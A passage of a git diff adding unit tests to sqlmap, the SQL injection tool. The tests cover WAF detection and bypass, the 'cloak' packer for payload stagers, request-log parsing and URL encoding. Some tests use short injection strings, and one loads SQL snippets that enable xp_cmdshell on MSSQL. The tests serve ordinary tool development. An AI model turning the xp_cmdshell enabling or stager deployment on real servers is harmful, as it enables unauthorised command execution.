checks.readInput = lambda *a, **kw: "C" + + def _q(*a, **kw): + if kw.get("content"): + return ("SECOND DIFFERENT PAGE", None, 200) + return True # keeps checkDynamicContent's retry loop from firing + self._patchQueryPage(_q) + + result = checks.checkStability() + self.assertFalse(result) + self.assertFalse(kb.pageStable) + + def test_unstable_string_choice_sets_conf_string(self): + kb.originalPage = "FIRST" + self._patchQueryPage(self._contentQuery("SECOND")) + replies = iter(["S", "MATCHME"]) + checks.readInput = lambda *a, **kw: next(replies) + checks.checkStability() + self.assertEqual(conf.string, "MATCHME") + + +class TestCheckNullConnection(_ChecksTestBase): + def setUp(self): + super(TestCheckNullConnection, self).setUp() + conf.data = None + kb.pageCompress = False + kb.nullConnection = None + + def test_post_data_disables_null_connection(self): + conf.data = "a=b" + self.assertFalse(checks.checkNullConnection()) + + def test_head_content_length(self): + def _getPage(*a, **kw): + if kw.get("method") == HTTPMETHOD.HEAD: + return ("", {HTTP_HEADER.CONTENT_LENGTH: "1234"}, 200) + return ("x", {}, 200) + self._patchGetPage(_getPage) + self.assertTrue(checks.checkNullConnection()) + self.assertEqual(kb.nullConnection, NULLCONNECTION.HEAD) + + def test_range_content_range(self): + def _getPage(*a, **kw): + if kw.get("method") == HTTPMETHOD.HEAD: + return ("", {}, 200) # no Content-Length on HEAD + if kw.get("auxHeaders"): + return ("A", {HTTP_HEADER.CONTENT_RANGE: "bytes 0-0/100"}, 206) + return ("x", {}, 200) + self._patchGetPage(_getPage) + self.assertTrue(checks.checkNullConnection()) + self.assertEqual(kb.nullConnection, NULLCONNECTION.RANGE) + + def test_not_supported(self): + # nothing usable on any method -> nullConnection ends up False + self._patchGetPage(lambda *a, **kw: ("xx", {}, 200)) + self.assertFalse(checks.checkNullConnection()) + self.assertFalse(kb.nullConnection) + + +class TestCheckConnection(_ChecksTestBase): + def setUp(self): + super(TestCheckConnection, self).setUp() + conf.hostname = "1.2.3.4" # dotted-quad -> no DNS resolution + conf.string = conf.regexp = None + conf.cj = None + conf.ignoreCode = None + kb.httpErrorCodes = {} + checks.wasLastResponseHTTPError = lambda: False + checks.wasLastResponseDBMSError = lambda: False + td = getCurrentThreadData() + td.lastPage = "PAGE CONTENT" + td.lastCode = 200 + + class _Headers(object): + headers = "Server: test\r\n" + + def test_success_sets_error_is_none(self): + self._patchQueryPage(lambda *a, **kw: ("PAGE CONTENT", self._Headers(), 200)) + self.assertTrue(checks.checkConnection()) + self.assertTrue(kb.errorIsNone) + self.assertEqual(kb.originalPage, "PAGE CONTENT") + + def test_dbms_error_clears_error_is_none(self): + self._patchQueryPage(lambda *a, **kw: ("oops SQL error", self._Headers(), 200)) + checks.wasLastResponseDBMSError = lambda: True + self.assertTrue(checks.checkConnection()) + self.assertFalse(kb.errorIsNone) + + def test_string_not_in_response_still_continues(self): + conf.string = "NEEDLE-NOT-PRESENT" + self._patchQueryPage(lambda *a, **kw: ("haystack only", self._Headers(), 200)) + # warns but carries on (returns True) + self.assertTrue(checks.checkConnection()) + + +class TestCheckWaf(_ChecksTestBase): + def setUp(self): + super(TestCheckWaf, self).setUp() + conf.string = conf.notString = conf.regexp = None + conf.dummy = conf.offline = conf.skipWaf = None + kb.originalCode = 200 + kb.originalPage = "page" + conf.parameters = {PLACE.GET: "id=1"} + kb.resendPostOnRedirect = False + conf.timeout = 30 + kb.identifiedWafs = [] + conf.tamper = None + kb.tamperFunctions = [] + checks.agent.addPayloadDelimiters = lambda v: v + + def test_skips_when_string_set(self): + conf.string = "x" + self.assertIsNone(checks.checkWaf()) + + def test_not_detected_on_high_ratio(self): + # queryPage()[1] is the ratio; high ratio -> not blocked + self._patchQueryPage(lambda *a, **kw: ("ok", 0.9, 200)) + self.assertFalse(checks.checkWaf()) + + def test_detected_on_low_ratio(self): + self._patchQueryPage(lambda *a, **kw: ("blocked", 0.1, 403)) + checks.readInput = lambda *a, **kw: True # continue + accept bypass + import lib.utils.wafbypass as wafbypass + orig = wafbypass.neutralizeFingerprint + wafbypass.neutralizeFingerprint = lambda: None + try: + self.assertTrue(checks.checkWaf()) + finally: + wafbypass.neutralizeFingerprint = orig + + +class TestCheckInternet(_ChecksTestBase): + def test_internet_available(self): + self._patchGetPage(lambda *a, **kw: ("ok", None, checks.CHECK_INTERNET_CODE)) + self.assertTrue(checks.checkInternet()) + + def test_internet_unavailable(self): + self._patchGetPage(lambda *a, **kw: ("captive portal", None, 500)) + self.assertFalse(checks.checkInternet()) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_cloak.py b/tests/test_cloak.py new file mode 100644 index 00000000000..512f5dbcec3 --- /dev/null +++ b/tests/test_cloak.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +cloak / decloak (extra/cloak/cloak.py) - the zlib+XOR transform used to pack the +payload stager files (.py_) that sqlmap drops and unpacks on a target during +takeover/file-write. A broken round-trip here corrupts every deployed stager. + +decloak(cloak(x)) must be the identity for arbitrary bytes; pinned with known +vectors and a property sweep over random binary inputs. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +# cloak ships under extra/cloak (build-time + runtime stager packer) +sys.path.insert(0, os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "extra", "cloak")) +import cloak as C + +RND = random.Random(1234) + + +def _rand_bytes(n): + return bytes(bytearray(RND.randint(0, 255) for _ in range(n))) + + +class TestCloakRoundTrip(unittest.TestCase): + def test_known_payload(self): + data = b"print('stager')" + self.assertEqual(C.decloak(data=C.cloak(data=data)), data) + + def test_empty(self): + self.assertEqual(C.decloak(data=C.cloak(data=b"")), b"") + + def test_cloak_changes_bytes(self): + # cloak must actually transform (compress+xor), not pass through + data = b"A" * 64 + self.assertNotEqual(C.cloak(data=data), data) + + def test_cloak_compresses_compressible_input(self): + # highly-repetitive input must come out SMALLER (proves zlib is actually applied, + # not just an XOR-only obfuscation). NOTE: random/incompressible data would grow, + # so this assertion is only valid for compressible input. + data = b"A" * 1000 + self.assertLess(len(C.cloak(data=data)), len(data)) + + def test_property_random_binary(self): + for _ in range(500): + data = _rand_bytes(RND.randint(0, 200)) + self.assertEqual(C.decloak(data=C.cloak(data=data)), data, msg="cloak round-trip failed for %r" % data) + + def test_property_large(self): + for size in (1024, 8192, 65536): + data = _rand_bytes(size) + self.assertEqual(C.decloak(data=C.cloak(data=data)), data, msg="cloak round-trip failed at size %d" % size) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_common.py b/tests/test_common.py new file mode 100644 index 00000000000..be4ad2d616a --- /dev/null +++ b/tests/test_common.py @@ -0,0 +1,1792 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Consolidated unit coverage for lib/core/common.py. + +This module merges the previously separate test_common_utils.py, +test_common_parsers.py and the common.py-specific classes from +test_core_more.py, test_core_extra.py and test_core_final.py into a single +file. Test logic is unchanged from those sources. + +Everything runs in isolation (no network, no DBMS, no persistent filesystem +mutation of the project). Any function that reads/writes global conf/kb/Backend +state has that state saved and restored around the call so test ordering stays +irrelevant. Temp files go to the session scratchpad and are removed. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import atexit +import base64 +import os +import shutil +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb, paths +from lib.core.defaults import defaults +from lib.core.enums import ( + CHARSET_TYPE, + DBMS, + EXPECTED, + HTTPMETHOD, + PLACE, + SORT_ORDER, +) +from lib.core.exception import ( + SqlmapSystemException, +) +from lib.core.settings import ( + NULL, + PAYLOAD_DELIMITER, + REFLECTED_VALUE_MARKER, +) +from lib.core.common import ( + aliasToDbmsEnum, + applyFunctionRecursively, + arrayizeValue, + Backend, + boldifyMessage, + calculateDeltaSeconds, + checkFile, + checkOldOptions, + checkSystemEncoding, + cleanReplaceUnicode, + commonFinderOnly, + enumValueToNameLookup, + extractErrorMessage, + extractExpectedValue, + extractRegexResult, + extractTextTagContent, + filePathToSafeString, + filterListValue, + filterNone, + filterPairValues, + filterStringValue, + findMultipartPostBoundary, + findPageForms, + flattenValue, + Format, + getCharset, + getFilteredPageContent, + getHeader, + getLimitRange, + getPageWordSet, + getPartRun, + getRequestHeader, + getSQLSnippet, + getTechnique, + getText, + intersect, + isDBMSVersionAtLeast, + isListLike, + isNoneValue, + isNullValue, + isNumber, + isNumPosStrValue, + isWindowsDriveLetterPath, + isZipFile, + joinValue, + listToStrValue, + normalizeUnicode, + paramToDict, + parseJson, + parsePasswordHash, + parseRequestFile, + parseTargetDirect, + parseTargetUrl, + parseUnionPage, + removePostHintPrefix, + removeReflectiveValues, + resetCookieJar, + safeExpandUser, + safeFilepathEncode, + safeStringFormat, + safeSQLIdentificatorNaming, + saveConfig, + serializeObject, + setTechnique, + splitFields, + trimAlphaNum, + unArrayizeValue, + unserializeObject, + urlencode, + zeroDepthSearch, +) + +SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path) +atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True)) + + +def _write_temp(content, suffix): + """Write `content` (str) to a scratchpad temp file, return its path.""" + if not os.path.isdir(SCRATCH): + os.makedirs(SCRATCH) + handle, path = tempfile.mkstemp(suffix=suffix, dir=SCRATCH) + os.write(handle, content.encode("utf-8") if isinstance(content, str) else content) + os.close(handle) + return path + + +class _FakeRequest(object): + """Minimal stand-in for urllib2.Request used by getRequestHeader().""" + + def __init__(self, headers): + self.headers = headers + + def header_items(self): + return self.headers.items() + + +# =========================================================================== # +# from tests/test_common_utils.py +# =========================================================================== # + +class TestParamToDict(unittest.TestCase): + """Parameter string -> OrderedDict for the various injection places.""" + + def test_get_two_params(self): + result = paramToDict(PLACE.GET, "id=1&name=foo") + self.assertEqual(list(result.items()), [("id", "1"), ("name", "foo")]) + + def test_get_preserves_order(self): + result = paramToDict(PLACE.GET, "c=3&a=1&b=2") + self.assertEqual(list(result.keys()), ["c", "a", "b"]) + + def test_post_place(self): + result = paramToDict(PLACE.POST, "user=admin&pass=secret") + self.assertEqual(result["user"], "admin") + self.assertEqual(result["pass"], "secret") + + def test_empty_value(self): + result = paramToDict(PLACE.GET, "id=&name=x") + self.assertEqual(result["id"], "") + self.assertEqual(result["name"], "x") + + def test_value_with_equal_signs(self): + # value is re-joined on '=' so embedded '=' survives + result = paramToDict(PLACE.GET, "token=a=b=c") + self.assertEqual(result["token"], "a=b=c") + + def test_cookie_delimiter(self): + # COOKIE place splits on ';' rather than '&' + result = paramToDict(PLACE.COOKIE, "foo=bar;baz=qux") + self.assertEqual(list(result.items()), [("foo", "bar"), ("baz", "qux")]) + + def test_param_without_equals_ignored(self): + # an element with no '=' has len(parts) < 2 and is skipped + result = paramToDict(PLACE.GET, "lonely&id=1") + self.assertEqual(list(result.items()), [("id", "1")]) + + def test_html_entity_in_value_not_split(self): + # a genuine HTML entity in a value must not be split on its '&'/';' (any entity length) + result = paramToDict(PLACE.GET, "q=foo&bar&id=5") + self.assertEqual(list(result.items()), [("q", "foo&bar"), ("id", "5")]) + result = paramToDict(PLACE.GET, "q=foo—bar&id=5") + self.assertEqual(list(result.items()), [("q", "foo—bar"), ("id", "5")]) + + def test_html_entity_in_cookie_value_not_corrupted(self): + # regression: the entity's own ';' must not act as the cookie delimiter + result = paramToDict(PLACE.COOKIE, "token=a—b; id=5") + self.assertEqual(list(result.items()), [("token", "a—b"), ("id", "5")]) + + def test_non_entity_ampersand_still_splits(self): + # "&nope;" is not a real entity, so '&' remains a genuine delimiter + result = paramToDict(PLACE.GET, "a=1&nope=2") + self.assertEqual(list(result.items()), [("a", "1"), ("nope", "2")]) + + +class TestGetCharset(unittest.TestCase): + """Inference charsets are fixed integer tables.""" + + def test_binary(self): + self.assertEqual(getCharset(CHARSET_TYPE.BINARY), [0, 1, 47, 48, 49]) + + def test_default_is_full_ascii(self): + self.assertEqual(getCharset(None), list(range(0, 128))) + + def test_digits(self): + result = getCharset(CHARSET_TYPE.DIGITS) + self.assertEqual(result, list(range(0, 10)) + list(range(47, 58))) + + def test_alpha_has_no_digits(self): + result = getCharset(CHARSET_TYPE.ALPHA) + # ASCII codes for '0'..'9' are 48..57; ALPHA must exclude them + self.assertFalse(any(48 <= _ <= 57 for _ in result)) + self.assertIn(ord("A"), result) + self.assertIn(ord("z"), result) + + def test_alphanum_superset_of_alpha(self): + alpha = set(getCharset(CHARSET_TYPE.ALPHA)) + alphanum = set(getCharset(CHARSET_TYPE.ALPHANUM)) + self.assertTrue(alpha.issubset(alphanum)) + self.assertIn(ord("5"), alphanum) + + def test_hexadecimal_contains_hex_letters(self): + result = getCharset(CHARSET_TYPE.HEXADECIMAL) + for ch in "0123456789abcdefABCDEF": + self.assertIn(ord(ch), result, msg="missing %r" % ch) + + +class TestGetLimitRange(unittest.TestCase): + def test_basic(self): + self.assertEqual(list(getLimitRange(10)), list(range(0, 10))) + + def test_plus_one(self): + self.assertEqual(list(getLimitRange(3, plusOne=True)), [1, 2, 3]) + + def test_string_count_coerced(self): + # count is int()-coerced internally + self.assertEqual(list(getLimitRange("4")), [0, 1, 2, 3]) + + def test_length(self): + self.assertEqual(len(getLimitRange(7)), 7) + + +class TestParseUnionPage(unittest.TestCase): + def test_none(self): + self.assertIsNone(parseUnionPage(None)) + + def test_two_entries(self): + page = "%sfoo%s%sbar%s" % (kb.chars.start, kb.chars.stop, kb.chars.start, kb.chars.stop) + # returns a BigArray; compare element-wise + self.assertEqual(list(parseUnionPage(page)), ["foo", "bar"]) + + def test_single_entry_unwrapped(self): + # a lone wrapped string is returned as the bare string, not a 1-element list + page = "%shello%s" % (kb.chars.start, kb.chars.stop) + self.assertEqual(parseUnionPage(page), "hello") + + def test_multi_column_row(self): + # a single row whose values are joined by kb.chars.delimiter becomes one + # nested list entry + page = "%sa%sb%s" % (kb.chars.start, kb.chars.delimiter, kb.chars.stop) + self.assertEqual(list(parseUnionPage(page)), [["a", "b"]]) + + def test_unmarked_page_returned_verbatim(self): + self.assertEqual(parseUnionPage("no markers here"), "no markers here") + + +class TestSafeStringFormat(unittest.TestCase): + def test_basic_tuple(self): + self.assertEqual(safeStringFormat("SELECT foo FROM %s LIMIT %d", ("bar", "1")), + "SELECT foo FROM bar LIMIT 1") + + def test_literal_percent_preserved(self): + self.assertEqual( + safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ("bar", "1")), + "SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1") + + def test_single_string_param(self): + self.assertEqual(safeStringFormat("a %s b", "X"), "a X b") + + def test_scalar_non_string(self): + self.assertEqual(safeStringFormat("n=%d", 5), "n=5") + + +class TestUrlencode(unittest.TestCase): + def test_basic(self): + self.assertEqual(urlencode("AND 1>(2+3)#"), "AND%201%3E%282%2B3%29%23") + + def test_none(self): + self.assertIsNone(urlencode(None)) + + def test_spaceplus(self): + self.assertEqual(urlencode("a b", spaceplus=True), "a+b") + + def test_convall_encodes_safe_chars(self): + # with convall the explicit 'safe' set is dropped, so '/' gets encoded + self.assertEqual(urlencode("a/b", convall=True), "a%2Fb") + + def test_safe_char_default_kept(self): + # by default '-' and '_' are in the safe set + self.assertEqual(urlencode("a-b_c"), "a-b_c") + + +class TestParseTargetUrl(unittest.TestCase): + """parseTargetUrl mutates conf.* in place; save and restore everything touched.""" + + def _save(self): + return {k: conf.get(k) for k in + ("url", "scheme", "path", "hostname", "port", "ipv6")} + + def _restore(self, saved): + for k, v in saved.items(): + conf[k] = v + + def test_https_url(self): + saved = self._save() + orig_params = conf.parameters.get(PLACE.GET) + try: + conf.url = "https://www.test.com/?id=1" + parseTargetUrl() + self.assertEqual(conf.hostname, "www.test.com") + self.assertEqual(conf.scheme, "https") + self.assertEqual(conf.port, 443) + self.assertEqual(conf.parameters[PLACE.GET], "id=1") + finally: + self._restore(saved) + if orig_params is None: + conf.parameters.pop(PLACE.GET, None) + else: + conf.parameters[PLACE.GET] = orig_params + + def test_scheme_defaulted_and_port(self): + saved = self._save() + try: + conf.url = "example.org:8080/app" + parseTargetUrl() + self.assertEqual(conf.hostname, "example.org") + self.assertEqual(conf.scheme, "http") + self.assertEqual(conf.port, 8080) + finally: + self._restore(saved) + + def test_empty_url_returns_none(self): + saved = self._save() + try: + conf.url = "" + self.assertIsNone(parseTargetUrl()) + finally: + self._restore(saved) + + +class TestParseTargetDirect(unittest.TestCase): + """parseTargetDirect under smokeMode (early-returns before driver imports).""" + + def _save(self): + return {k: conf.get(k) for k in + ("direct", "dbms", "dbmsUser", "dbmsPass", "dbmsDb", "hostname", "port")} + + def _restore(self, saved): + for k, v in saved.items(): + conf[k] = v + + def test_full_mysql_dsn(self): + saved = self._save() + orig_smoke = kb.smokeMode + orig_none = conf.parameters.get(None) + try: + kb.smokeMode = True + conf.direct = "mysql://root:testpass@127.0.0.1:3306/testdb" + parseTargetDirect() + self.assertEqual(conf.dbms, "mysql") + self.assertEqual(conf.dbmsUser, "root") + self.assertEqual(conf.dbmsPass, "testpass") + self.assertEqual(conf.dbmsDb, "testdb") + self.assertEqual(conf.hostname, "127.0.0.1") + self.assertEqual(conf.port, 3306) + finally: + self._restore(saved) + kb.smokeMode = orig_smoke + if orig_none is None: + conf.parameters.pop(None, None) + else: + conf.parameters[None] = orig_none + + def test_quoted_password(self): + saved = self._save() + orig_smoke = kb.smokeMode + orig_none = conf.parameters.get(None) + try: + kb.smokeMode = True + conf.direct = "mysql://user:'P@ssw0rd'@127.0.0.1:3306/test" + parseTargetDirect() + self.assertEqual(conf.dbmsPass, "P@ssw0rd") + self.assertEqual(conf.hostname, "127.0.0.1") + finally: + self._restore(saved) + kb.smokeMode = orig_smoke + if orig_none is None: + conf.parameters.pop(None, None) + else: + conf.parameters[None] = orig_none + + def test_empty_direct_returns_none(self): + saved = self._save() + try: + conf.direct = None + self.assertIsNone(parseTargetDirect()) + finally: + self._restore(saved) + + +class TestSafeSQLIdentificatorNaming(unittest.TestCase): + """Quoting of identifiers is DBMS-specific; drive it via kb.forcedDbms.""" + + def _run(self, dbms, name, **kw): + orig = kb.forcedDbms + try: + kb.forcedDbms = dbms + return getText(safeSQLIdentificatorNaming(name, **kw)) + finally: + kb.forcedDbms = orig + + def test_mssql_keyword_bracketed(self): + self.assertEqual(self._run(DBMS.MSSQL, "begin"), "[begin]") + + def test_plain_name_unquoted(self): + self.assertEqual(self._run(DBMS.MSSQL, "foobar"), "foobar") + + def test_firebird_name_with_space_double_quoted(self): + self.assertEqual(self._run(DBMS.FIREBIRD, "foo bar"), '"foo bar"') + + def test_mysql_keyword_backticked(self): + self.assertEqual(self._run(DBMS.MYSQL, "select"), "`select`") + + def test_oracle_keyword_uppercased(self): + # Oracle quotes AND uppercases reserved words + self.assertEqual(self._run(DBMS.ORACLE, "table"), '"TABLE"') + + def test_unsafe_naming_passthrough(self): + orig = conf.unsafeNaming + try: + conf.unsafeNaming = True + self.assertEqual(self._run(DBMS.MYSQL, "select"), "select") + finally: + conf.unsafeNaming = orig + + +class TestGetPartRun(unittest.TestCase): + def test_no_dbms_handler_in_stack(self): + # called from a test (no conf.dbmsHandler.* on the stack) -> None + self.assertIsNone(getPartRun()) + + def test_non_alias_form_also_none(self): + self.assertIsNone(getPartRun(alias=False)) + + +# =========================================================================== # +# from tests/test_common_parsers.py +# =========================================================================== # + +class TestParseRequestFileBurp(unittest.TestCase): + """_parseBurpLog via parseRequestFile (plain '=====' log + Burp XML history).""" + + def setUp(self): + self._scope = conf.scope + self._method = conf.method + self._headers = conf.headers + conf.scope = None + conf.method = None # avoid a leaked conf.method overriding the parsed verb + + def tearDown(self): + conf.scope = self._scope + conf.method = self._method + conf.headers = self._headers + + def test_plain_burp_log_get(self): + content = ( + "======================================================\n" + "GET http://www.target.com:80/vuln.php?id=1 HTTP/1.1\n" + "Host: www.target.com\n" + "Cookie: PHPSESSID=abc\n" + "======================================================\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(url, "http://www.target.com:80/vuln.php?id=1") + self.assertEqual(method, HTTPMETHOD.GET) + self.assertIsNone(data) + self.assertEqual(cookie, "PHPSESSID=abc") + self.assertIn(("Host", "www.target.com"), headers) + + def test_burp_xml_history_base64_request(self): + req = "GET /vuln.php?id=1 HTTP/1.1\r\nHost: www.target.com\r\nCookie: SID=xyz\r\n\r\n" + b64 = base64.b64encode(req.encode()).decode() + xml = ('80' + '' + '' % b64) + path = _write_temp(xml, ".xml") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(url, "http://www.target.com:80/vuln.php?id=1") + self.assertEqual(method, HTTPMETHOD.GET) + self.assertEqual(cookie, "SID=xyz") + + def test_post_body_captured(self): + content = ( + "======================================================\n" + "POST http://www.target.com:80/login HTTP/1.1\n" + "Host: www.target.com\n" + "Content-Length: 17\n" + "\n" + "user=admin&pw=1\n" + "======================================================\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(method, HTTPMETHOD.POST) + self.assertEqual(data, "user=admin&pw=1") + + def test_scope_filters_out_nonmatching(self): + content = ( + "======================================================\n" + "GET http://www.target.com:80/vuln.php?id=1 HTTP/1.1\n" + "Host: www.target.com\n" + "======================================================\n" + ) + path = _write_temp(content, ".log") + try: + conf.scope = r"example\.org" # does not match target.com + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + self.assertEqual(targets, []) + + +class TestParseRequestFileWebScarab(unittest.TestCase): + """_parseWebScarabLog via parseRequestFile.""" + + def setUp(self): + self._scope = conf.scope + conf.scope = None + + def tearDown(self): + conf.scope = self._scope + + def test_get_conversation(self): + content = ( + "### Conversation : 1\n" + "URL: http://www.target.com/vuln.php?id=1\n" + "METHOD: GET\n" + "COOKIE: SID=abc\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(url, "http://www.target.com/vuln.php?id=1") + self.assertEqual(method, "GET") + self.assertIsNone(data) + self.assertEqual(cookie, "SID=abc") + self.assertEqual(headers, tuple()) + + def test_post_conversation_skipped(self): + # POST bodies live in separate files -> WebScarab POSTs are skipped + content = ( + "### Conversation : 1\n" + "URL: http://www.target.com/login\n" + "METHOD: POST\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + self.assertEqual(targets, []) + + +class TestParseTargetDirectNonSmoke(unittest.TestCase): + """parseTargetDirect() non-smoke branch: resolves the canonical DBMS name. + + Uses SQLite because its driver (stdlib sqlite3) is always importable. + """ + + _KEYS = ("direct", "dbms", "dbmsUser", "dbmsPass", "dbmsDb", "hostname", "port") + + def setUp(self): + self._saved = {k: conf.get(k) for k in self._KEYS} + self._smoke = kb.smokeMode + self._params_none = conf.parameters.get(None) + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + kb.smokeMode = self._smoke + if self._params_none is None: + conf.parameters.pop(None, None) + else: + conf.parameters[None] = self._params_none + + def test_sqlite_local_dsn(self): + kb.smokeMode = False + conf.direct = "sqlite://%s" % os.path.join(SCRATCH, "test.db") + parseTargetDirect() + # non-smoke path canonicalizes the DBMS name via DBMS_DICT + self.assertEqual(conf.dbms, DBMS.SQLITE) + # local file DBMS: hostname forced to localhost, port 0 + self.assertEqual(conf.hostname, "localhost") + self.assertEqual(conf.port, 0) + self.assertEqual(conf.parameters[None], "direct connection") + + +class TestRemoveReflectiveValues(unittest.TestCase): + def setUp(self): + self._mech = kb.reflectiveMechanism + self._heur = kb.heuristicMode + kb.reflectiveMechanism = True + kb.heuristicMode = False + + def tearDown(self): + kb.reflectiveMechanism = self._mech + kb.heuristicMode = self._heur + + def test_reflected_payload_masked(self): + content = u"You searched for 1 AND 1=2 here" + out = removeReflectiveValues(content, "1 AND 1=2") + self.assertIn(REFLECTED_VALUE_MARKER, out) + self.assertNotIn("AND 1=2", out) + + def test_no_reflection_returns_content_unchanged(self): + content = u"nothing interesting" + out = removeReflectiveValues(content, "1 AND 1=2") + self.assertEqual(out, content) + + def test_none_payload_returns_content(self): + content = u"x" + self.assertEqual(removeReflectiveValues(content, None), content) + + def test_bytes_content_returned_as_is(self): + # non-text content short-circuits (isinstance text_type check) + content = b"1 AND 1=2" + self.assertEqual(removeReflectiveValues(content, "1 AND 1=2"), content) + + +class TestFindPageForms(unittest.TestCase): + def setUp(self): + self._scope = conf.scope + self._crawlExclude = conf.crawlExclude + self._cookie = conf.cookie + conf.scope = None + conf.crawlExclude = None + conf.cookie = None + + def tearDown(self): + conf.scope = self._scope + conf.crawlExclude = self._crawlExclude + conf.cookie = self._cookie + + def test_post_form_discovered(self): + html = ('
    ' + '' + '
    ') + forms = findPageForms(html, "http://www.site.com") + self.assertEqual(forms, set([("http://www.site.com/input.php", "POST", "id=1", None, None)])) + + def test_get_form_discovered(self): + html = ('
    ' + '' + '
    ') + forms = findPageForms(html, "http://www.site.com") + self.assertEqual(len(forms), 1) + url, method, data, _cookie, _ = list(forms)[0] + self.assertEqual(method, "GET") + self.assertIn("q=x", url) + + def test_inline_js_post_discovered(self): + # the `.post('url', {k: v})` regex branch (independent of HTML form parsing) + html = "" + forms = findPageForms(html, "http://www.site.com") + self.assertTrue(any(m == HTTPMETHOD.POST and u.endswith("/api/save") for (u, m, d, c, e) in forms)) + + def test_blank_content_returns_empty_set(self): + self.assertEqual(findPageForms("", "http://www.site.com"), set()) + + +class TestSaveConfig(unittest.TestCase): + def test_writes_ini_with_sections(self): + path = _write_temp("", ".ini") + try: + saveConfig(conf, path) + with open(path) as f: + data = f.read() + finally: + os.unlink(path) + + # optDict families become [Section] headers + self.assertIn("[Target]", data) + self.assertIn("[Request]", data) + self.assertIn("[Enumeration]", data) + self.assertTrue(len(data) > 0) + + +class TestGetSQLSnippet(unittest.TestCase): + def test_mssql_proc_loaded(self): + snippet = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") + self.assertIn("RECONFIGURE", snippet) + + def test_variable_substitution(self): + # %VAR% placeholders are substituted from kwargs (here %ENABLE%); + # supplying it avoids the interactive "provide substitution values" prompt. + snippet = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE="1") + self.assertIn("xp_cmdshell", snippet) + self.assertIn("RECONFIGURE", snippet) + # comments (#...) are stripped and the placeholder is fully resolved + self.assertNotIn("#", snippet) + self.assertNotIn("%ENABLE%", snippet) + + +class TestCheckSystemEncoding(unittest.TestCase): + def test_noop_on_normal_encoding(self): + # On a normal default encoding this is a no-op and must not raise. + self.assertIsNone(checkSystemEncoding()) + + +class TestFormatGetOs(unittest.TestCase): + def setUp(self): + self._api = conf.api + conf.api = False + + def tearDown(self): + conf.api = self._api + + def test_humanizes_type_and_technology(self): + info = { + "type": set(["Linux"]), + "distrib": set(["Ubuntu"]), + "release": set(["8.10"]), + "technology": set(["PHP 5.2.6", "Apache 2.2.9"]), + } + out = Format.getOs("back-end DBMS", info) + self.assertTrue(out.startswith("back-end DBMS operating system: Linux")) + self.assertIn("Ubuntu", out) + self.assertIn("8.10", out) + self.assertIn("web application technology:", out) + + def test_api_mode_returns_dict(self): + orig = conf.api + try: + conf.api = True + info = {"type": set(["Windows"]), "technology": set(["IIS"])} + out = Format.getOs("back-end DBMS", info) + self.assertIsInstance(out, dict) + self.assertIn("web application technology", out) + finally: + conf.api = orig + + +class TestBackendSetters(unittest.TestCase): + """Backend OS/version setters write kb state; save and restore it.""" + + _KEYS = ("os", "osVersion", "osSP", "dbmsVersion") + + def setUp(self): + self._saved = {k: kb.get(k) for k in self._KEYS} + + def tearDown(self): + for k, v in self._saved.items(): + kb[k] = v + + def test_set_get_os(self): + kb.os = None + self.assertEqual(Backend.setOs("windows"), "Windows") # capitalized + self.assertEqual(Backend.getOs(), "Windows") + + def test_set_os_none_returns_none(self): + self.assertIsNone(Backend.setOs(None)) + + def test_set_os_version(self): + kb.osVersion = None + Backend.setOsVersion("2008") + self.assertEqual(Backend.getOsVersion(), "2008") + + def test_set_os_service_pack(self): + kb.osSP = None + Backend.setOsServicePack(3) + self.assertEqual(Backend.getOsServicePack(), 3) + + def test_set_get_version(self): + kb.dbmsVersion = [] + self.assertEqual(Backend.setVersion("5.7"), ["5.7"]) + self.assertEqual(Backend.getVersion(), "5.7") + + def test_set_version_list(self): + kb.dbmsVersion = [] + Backend.setVersionList(["8.0", "8.1"]) + self.assertEqual(Backend.getVersionList(), ["8.0", "8.1"]) + + +class TestUrlencodeExtraBranches(unittest.TestCase): + def test_like_percent_encoded(self): + # '%' inside a LIKE '...' literal is encoded to %25 + self.assertEqual(urlencode("AND name LIKE '%DBA%'"), + "AND%20name%20LIKE%20%27%25DBA%25%27") + + def test_convall_drops_safe_set(self): + self.assertEqual(urlencode("a&b", convall=True), "a%26b") + + def test_limit_does_not_crash_on_long_input(self): + out = urlencode("x " * 4000, limit=True) + self.assertTrue(len(out) > 0) + + def test_direct_mode_returns_value_unchanged(self): + orig = conf.direct + try: + conf.direct = "mysql://u:p@h:3306/d" + self.assertEqual(urlencode("a b"), 